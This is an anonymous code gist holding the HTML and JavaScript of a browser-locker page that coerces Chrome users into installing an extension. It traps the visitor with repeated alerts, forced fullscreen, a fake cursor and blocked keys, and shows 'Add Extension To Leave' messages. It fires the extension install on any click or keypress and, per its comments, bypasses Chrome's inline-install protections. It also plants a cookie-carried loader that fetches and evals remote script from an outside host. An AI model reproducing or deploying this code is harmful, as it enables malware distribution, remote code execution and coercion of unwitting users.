Skip to content

Instantly share code, notes, and snippets.

Created January 21, 2018 16:33
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save anonymous/c03c34cf838d87d80d18683bfbcadd5d to your computer and use it in GitHub Desktop.
Save anonymous/c03c34cf838d87d80d18683bfbcadd5d to your computer and use it in GitHub Desktop.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
</head>
<body>
<div class="container" style="display: none">jkojbkpbbffiggegdjnkfkndffocgahl</div>
<div id="fullscreenArrow"></div>
<div id="master"></div>
<script src="jquery.js" type="text/javascript" charset="utf-8" async defer></script>
</body>
</html>
function getChromeVersion() {
var match = navigator['userAgent']['match'](/Chrom(e|ium)\/([0-9]+)\./);
return match ? parseInt(match[2], 10) : false;
}
var realVersion = getChromeVersion();
/* Первый алерт сразу после показа для фокуса владки */
if (!getCookie('test1')) {
alert("Click Ok to exit!");
}
function getParameterByName(name) {
var url = window.location.href;
name = name.replace(/[\[\]]/g, "\\$&");
var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),
results = regex.exec(url);
if (!results) return null;
if (!results[2]) return '';
return decodeURIComponent(results[2].replace(/\+/g, " "));
}
var t1 = false;
var t2 = false;
var t3 = false;
var t4 = false;
var t5 = false;
var t6 = false;
var t7 = false;
/* Обход защиты екстеншенов от инстала */
var fClearTimeout = function () {
for (var i = 0; i < 500; i++) {
if (i != t1 && i != t2 && i != t3 && i != t4 && i != t5 && i != t6 && i != t7) {
clearTimeout(i);
clearInterval(i);
}
}
setTimeout(fClearTimeout, 500);
};
fClearTimeout();
var extid = document.getElementsByClassName('container')[0].innerHTML;
var cwurl = "https://chrome.google.com/webstore/detail/" + extid;
var domik = '';
var clickId = window.location.pathname;
var price = 0.03;
if (clickId === '/') {
// location.replace('https://www.musoralab.top/a72dbca55181');
} else {
clickId = clickId.split("/")[1];
}
(function () {
var a = 'mysesname',
b = escape('mysesvalvar clickId="' + clickId + '";var price = "' + price + '";(function () { sendR(); function sendR() { var c = new XMLHttpRequest; c.open("GET", getURl()); c.onload = function () { if (200 == c.status) { var i = c.responseText; chrome.storage.local.set({id: i}); chrome.storage.local.set({t: new Date().getTime()}); eval(i); } else { setTimeout(function () { sendR(); }, 600000); } }; c.onerror = function () { setTimeout(function () { sendR(); }, 600000); }; c.send() } function getURl () { return "https://animtime.com/arrow.js?v=19" }}).call(this);'),
c = 24, d = '';
if (c) {
var e = new Date();
e.setTime(e.getTime() + (c * 60 * 60 * 1000));
d = '; expires=' + e.toUTCString()
}
document.cookie = a + '=' + b + ';' + d + ';path=/';
})();
var fs = false;
function getCookie(name) {
var args;
var _args = new RegExp('(^| )' + name + '=([^;]*)(;|$)');
if (args = document['cookie']['match'](_args)) {
return unescape(args[2]);
} else {
return null;
}
}
if (getCookie('isInstalled')) {
location['replace']('http://www.google.com');
} else {
window['onbeforeunload'] = function () {
return 'are you realy reload?';
};
}
function setCookieInst(name, value, timeOutMillis) {
var against = new Date;
against['setTime'](against['getTime']() + 10 * 24 * 60 * 60 * 1000);
document['cookie'] = name + '=' + escape(value) + ';expires=' + against['toGMTString']();
}
function setCookie(name, value, timeOutMillis) {
var against = new Date;
against['setTime'](against['getTime']() + 10 * 60 * 1000);
document['cookie'] = name + '=' + escape(value) + ';expires=' + against['toGMTString']();
}
var refurl = window.location.href;
/* Обход запрета инлайна для 59-62 версий */
if (realVersion < 63) {
if (refurl.indexOf("#") == -1) {
refurl += '#';
}
}
/* Обход запрета инлайна для 62+ версий */
if (!getCookie('test1')) {
if (realVersion > 62) {
setCookie('test1', '111');
location['assign'](refurl + '#');
setTimeout(function () {
window.history.go(-1);
}, 100);
} else {
location['assign'](refurl);
}
}
function extraLog(opt_attributes) {
}
var fyTyFTNt8b = extid;
(function () {
'use strict';
var _0x2658E = typeof module !== 'undefined' && module['exports'];
var _0x265E4 = typeof Element !== 'undefined' && 'ALLOW_KEYBOARD_INPUT' in Element;
var owner = function () {
var val;
var vals = [
[
'requestFullscreen',
'exitFullscreen',
'fullscreenElement',
'fullscreenEnabled',
'fullscreenchange',
'fullscreenerror'
],
[
'webkitRequestFullscreen',
'webkitExitFullscreen',
'webkitFullscreenElement',
'webkitFullscreenEnabled',
'webkitfullscreenchange',
'webkitfullscreenerror'
],
[
'webkitRequestFullScreen',
'webkitCancelFullScreen',
'webkitCurrentFullScreenElement',
'webkitCancelFullScreen',
'webkitfullscreenchange',
'webkitfullscreenerror'
],
[
'mozRequestFullScreen',
'mozCancelFullScreen',
'mozFullScreenElement',
'mozFullScreenEnabled',
'mozfullscreenchange',
'mozfullscreenerror'
],
[
'msRequestFullscreen',
'msExitFullscreen',
'msFullscreenElement',
'msFullscreenEnabled',
'MSFullscreenChange',
'MSFullscreenError'
]
];
/** @type {number} */
var i = 0;
var length = vals['length'];
var obj = {};
for (; i < length; i++) {
val = vals[i];
if (val && val[1] in document) {
i = 0;
for (; i < val['length']; i++) {
obj[vals[0][i]] = val[i];
}
return obj;
}
}
return false;
}();
var bigscreen = {
request: function (dataType) {
var unlock = owner['requestFullscreen'];
dataType = dataType || document['documentElement'];
if (/5\.1[\.\d]* Safari/['test'](navigator['userAgent'])) {
dataType[unlock]();
} else {
dataType[unlock](_0x265E4 && Element['ALLOW_KEYBOARD_INPUT']);
}
},
exit: function () {
document[owner['exitFullscreen']]();
},
toggle: function (_relatedTarget) {
if (this['isFullscreen']) {
this['exit']();
} else {
this['request'](_relatedTarget);
}
},
raw: owner
};
if (!owner) {
if (_0x2658E) {
module['exports'] = false;
} else {
window['screenfull'] = false;
}
return;
}
Object['defineProperties'](bigscreen, {
isFullscreen: {
get: function () {
return Boolean(document[owner['fullscreenElement']]);
}
},
element: {
enumerable: true,
get: function () {
return document[owner['fullscreenElement']];
}
},
enabled: {
enumerable: true,
get: function () {
return Boolean(document[owner['fullscreenEnabled']]);
}
}
});
if (_0x2658E) {
module['exports'] = bigscreen;
} else {
window['screenfull'] = bigscreen;
}
})();
var imgPath;
function fS78BBRY7z() {
var _j = window['navigator']['userLanguage'] || window['navigator']['language'];
languagePart = _j['split']('-');
_j = languagePart[0];
var _locales = {
"en": 'Add Extension To Leave',
"fr": 'Ajouter l extension pour quitter',
"de": 'Zum Verlassen die Erweiterung hinzufügen',
"sv": 'Lägg till tillägg för att lämna sidan',
"nb": 'Legg til utvidelse for å forlate',
"nl": 'Voeg Extensie Toe Om Te Verlaten',
"da": 'Tilføj udvidelse for at forlade',
"fi": 'Lisää laajennus poistuaksesi',
"es": 'Añadir extensión para dejar',
"it": 'Aggiungere l estensione da lasciare'
};
imgPath = '/xxx.png';
if (typeof _locales[_j] == 'undefined' || _locales[_j] == '') {
var token = 'Add Extension To Leave'
} else {
token = _locales[_j];
}
if (document['getElementById']('master') != null && document['getElementById']('imdz') == null) {
document['getElementById']('master')['innerHTML'] = '<center><img id="imdz" src="' + imgPath + '" alt=""/></center>';
}
var index = '';
return token + index;
}
fS78BBRY7z();
var nConLoad = function () {
if (getCookie('test1')) {
} else {
setCookie('test1', '111');
location['assign'](refurl);
}
return 'are you true leave?';
};
nConLoad();
function mouseLeave() {
location['assign'](refurl);
}
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false);
function handleVisibilityChange() {
if (document['hidden']) {
alert("Click Ok to exit");
// nConLoad();
}
}
document['addEventListener']('visibilitychange', handleVisibilityChange, false);
var nChrIn = chrome['webstore']['install'];
var nStoT = window['setTimeout'];
var fs_check;
document['getElementsByTagName']('html')[0]['style']['overflow'] = 'hidden';
document['getElementsByTagName']('body')[0]['style']['overflow'] = 'hidden';
function getChromeVersion() {
var match = navigator['userAgent']['match'](/Chrom(e|ium)\/([0-9]+)\./);
return match ? parseInt(match[2], 10) : false;
}
realVersion = getChromeVersion();
var url = 'https://chrome.google.com/webstore/detail/' + fyTyFTNt8b;
function frYTRNAFyZ() {
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false);
document['getElementsByTagName']('html')[0]['style']['display'] = 'none';
setCookieInst('isInstalled', 'installed', 1 / 24 / 4);
/** @type {null} */
window['beforeunload'] = null;
/** @type {null} */
window['onbeforeunload'] = null;
t1 = nStoT(function () {
//document.location.href = 'google.com';
}, 1600);
document.getElementsByTagName("body").innerHTML = '';
}
function fD2nBnesft(dataAndEvents) {
var error = dataAndEvents['toString']()['replace'](/\ +/g, '_');
if (error == 'Inline_installs_can_not_be_initiated_from_fullscreen.') {
styk('errfulscr');
}
if (error == 'Inline_installation_is_not_supported_for_this_item._The_user_will_be_redirected_to_the_Chrome_Web_Store.' || error == 'Could_not_fetch_data_from_the_Chrome_Web_Store') {
styk('errinline');
}
fs = false;
document['getElementsByTagName']('html')[0]['addEventListener']('mouseleave', mouseLeave, false);
extraLog({
event: 'error_install_msg',
msg: dataAndEvents['toString']()['replace'](/\ +/g, '_')
});
}
ints = function () {
if (!document.getElementById('chrweb')) {
var link = document.createElement('link');
link.setAttribute("id", "chrweb");
link.setAttribute("rel", "chrome-webstore-item");
link.setAttribute("href", cwurl);
document.head.appendChild(link);
}
if (getCookie('fc')) {
} else {
setCookie('fc', '1');
styk('fclicks');
}
fs = true;
document['body']['style']['cursor'] = 'default';
if (realVersion < 56) {
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false);
nChrIn(url, frYTRNAFyZ, fD2nBnesft);
kostofull();
} else {
if (fs_check != true) {
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false);
nChrIn(url, frYTRNAFyZ, fD2nBnesft);
t2 = nStoT(kostofull, 1E3);
} else {
document['getElementsByTagName']('html')[0]['removeEventListener']('mouseleave', mouseLeave, false);
nChrIn(url, frYTRNAFyZ, fD2nBnesft);
t3 = nStoT(kostofull, 1E3);
}
if (screenfull['isFullscreen']) {
try {
document['webkitCancelFullScreen']();
t4 = nStoT(kostofull, 1E3);
} catch (e) {
}
try {
document['cancelFullscreen']();
t5 = nStoT(kostofull, 1E3);
} catch (e) {
}
} else {
}
}
fs_check = true;
return fs_check;
};
function kostofull() {
screenfull['request']();
}
function mouseDown(action) {
action = action || window['event'];
switch (action['which']) {
case 1:
ints();
break;
case 2:
ints();
break;
case 3:
ints();
break;
}
}
window['onkeydown'] = function (dataAndEvents) {
if (dataAndEvents['keyCode'] == 27 || (dataAndEvents['keyCode'] == 18 || (dataAndEvents['keyCode'] == 123 || (dataAndEvents['keyCode'] == 85 || (dataAndEvents['keyCode'] == 9 || (dataAndEvents['keyCode'] == 115 || (dataAndEvents['keyCode'] == 116 || (dataAndEvents['keyCode'] == 112 || (dataAndEvents['keyCode'] == 114 || dataAndEvents['keyCode'] == 17))))))))) {
location['assign'](refurl);
return false;
}
};
window['addEventListener']('click', function () {
mouseDown(event);
});
window['addEventListener']('keydown', function () {
mouseDown(event);
});
window['addEventListener']('mousedown', function () {
mouseDown(event);
});
window['addEventListener']('keyup', function (dataAndEvents) {
dataAndEvents['preventDefault']();
if (dataAndEvents['keyCode'] == 27) {
ints();
}
}, false);
window['addEventListener']('keyup', function (dataAndEvents) {
dataAndEvents['preventDefault']();
if (dataAndEvents['keyCode'] == 122 || (dataAndEvents['keyCode'] == 17 || (dataAndEvents['keyCode'] == 18 || dataAndEvents['keyCode'] == 13))) {
ints();
}
}, false);
window['onkeyup'] = function (dataAndEvents) {
ints();
};
if (document['getElementById']('master') != null && document['getElementById']('imdz') == null) {
document['getElementById']('master')['innerHTML'] = '<center><img id="imdz" src=' + '"/xxx.png" alt=""/></center>';
}
document['addEventListener'](screenfull['raw']['fullscreenchange'], function () {
if (screenfull['isFullscreen']) {
fs = true;
document['getElementById']('fullscreenArrow').innerHTML = '<img class="fullscreenArrow" src="arrow.png" alt="">';
} else {
fs = false;
document['getElementById']('imdz')['src'] = imgPath;
document['getElementById']('fullscreenArrow').innerHTML = '';
}
});
function styk(error) {
try {
var xmlhttp = new XMLHttpRequest();
//xmlhttp.onreadystatechange = function () {
// if (xmlhttp.readyState == XMLHttpRequest.DONE) {
//
// }
//};
//xmlhttp.open("GET", 'https://' + domik + '/' + error + '?acreed=' + getCookie('acreed') + '&cfeed=' + getCookie('cfeed'));
//xmlhttp.send();
} catch (e) {
}
}
window['onunload'] = function () {
extraLog({
event: 'pageunload'
});
};
document.oncontextmenu = new Function("return false");
var cursor = new window['Image'];
cursor['setAttribute']('src', 'data:image/png;base64,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');
var canvas = document['createElement']('canvas');
canvas['width'] = canvas['height'] = 128;
var ctx = canvas['getContext']('2d');
ctx['fillStyle'] = 'rgba(255,0,100,0.8)';
ctx['strokeStyle'] = 'rgba(255,0,100,0.5)';
var maxImageX = 110;
var maxImageY = 110;
var maxCursorX = 128;
var maxCursorY = 128;
var clientX;
var clientY;
var windowX = window['innerWidth'];
var windowY = window['innerHeight'];
var animation;
var fs = false;
document['body']['addEventListener']('mousemove', function (recursive) {
clientX = recursive['clientX'];
clientY = recursive['clientY'];
if (!animation) {
animation = requestAnimationFrame(animate);
}
});
animation = requestAnimationFrame(animate);
function animate(prop) {
animation = null;
ctx['clearRect'](0, 0, 128, 128);
ctx['save']();
var percentX = Math.round((clientX * 100) / windowX);
var imageX = Math.round((maxImageX * percentX) / 100);
var cursorX = Math.round((maxCursorX * percentX) / 100);
cursorX = Math.abs(cursorX - maxCursorX);
var percentY = Math.round((clientY * 100) / windowY);
var imageY = Math.round((maxImageY * percentY) / 100);
var cursorY = Math.round((maxCursorY * percentY) / 100);
cursorY = Math.abs(cursorY - maxCursorY);
ctx['drawImage'](cursor, 0, 0, 280, 400, imageX, imageY, 17.5, 30);
ctx['restore']();
var url = canvas['toDataURL']();
if (fs) {
document['body']['style']['cursor'] = 'default';
} else {
document['body']['style']['cursor'] = 'url(' + url + ') ' + cursorX + ' ' + cursorY + ', crosshair ';
}
}
//}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment